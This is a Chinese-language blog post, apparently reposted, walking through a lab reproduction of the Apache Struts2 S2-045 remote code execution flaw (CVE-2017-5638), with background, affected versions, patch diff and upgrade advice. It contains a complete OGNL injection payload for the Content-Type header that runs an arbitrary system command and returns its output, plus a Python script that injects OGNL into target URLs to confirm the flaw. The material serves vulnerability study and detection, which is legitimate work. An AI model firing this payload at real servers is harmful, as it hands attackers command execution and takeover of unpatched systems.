Struts-S2-045漏洞利用


最近也是在看Struts2的漏洞,這里與大家共同探討一下,本次我復現的是s2-045這個編號的漏洞

漏洞介紹

Apache Struts 2被曝存在遠程命令執行漏洞,漏洞編號S2-045,CVE編號CVE-2017-5638,在使用基於Jakarta插件的文件上傳功能時,有可能存在遠程命令執行,導致系統被黑客入侵。
惡意用戶可在上傳文件時通過修改HTTP請求頭中的Content-Type值來觸發該漏洞,進而執行系統命令。

 

Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。

Struts2框架存在多個遠程代碼執行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),惡意攻擊者可利用漏洞直接獲取應用系統的Webshell,甚至獲取操作系統以及數據庫的權限。

 

漏洞編號:S2-045
CVE編號:CVE-2017-5638
漏洞類型:遠程代碼執行
漏洞級別:高危
漏洞風險:黑客通過利用漏洞可以實現遠程命令執行。
影響版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

環境准備

1.docker環境及vulhub靶場(沒有安裝的可以參考我之前的博客)

2.Burp Suite抓包工具

 

漏洞POC

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

 

漏洞關鍵點

1.基於Jakarta(Jakarta Multipart parser)插件的文件上傳功能
2.惡意攻擊者精心構造Content-Type的值
通過版本比對定位漏洞原因:
1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java

 

三個文件修改內容相同,加固方式對用戶報錯加了條件判斷。

if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
            return LocalizedTextUtil.findText(this.getClass(),  "struts.messages.error.uploading", defaultLocale, null, new  Object[] { e.getMessage() });
         } else {
            return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
         }

 

漏洞利用

用docker搭建好環境后,訪問,是這個界面

隨便選擇個文件,上傳,用burp抓包

 

 

然后Repeater,只需要更改Content-Type的值,就可實現遠程代碼執行

 

 

附上一個檢測POC

#!/usr/bin/env python
#coding:utf8
#code by fuck@0day5.com
import sys
import requests
requests.packages.urllib3.disable_warnings()
 
def poccheck(url):
    result = False
    header = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
        'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"
    }
    try:
        response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False)
        if response.content.find("88866777")!=-1:
            result = url+" find struts2-45"
    except Exception as e:
        print str(e)
        pass
    return result
 
if __name__ == '__main__':
    if len(sys.argv) == 2:
        print poccheck(sys.argv[1])
        sys.exit(0)
    else:
        print ("usage: %s http://www.baidu.com/vuln.action" % sys.argv[0])
        sys.exit(-1)

 

漏洞修復建議(或緩解措施):

檢測方式查看web目錄下/WEB-INF/lib/目錄下的struts-core.x.x.jar ,如果這個版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之間則存在漏洞,
更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防護設備進行防護。
臨時解決方案:刪除commons-fileupload-x.x.x.jar文件(會造成上傳功能不可用)。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM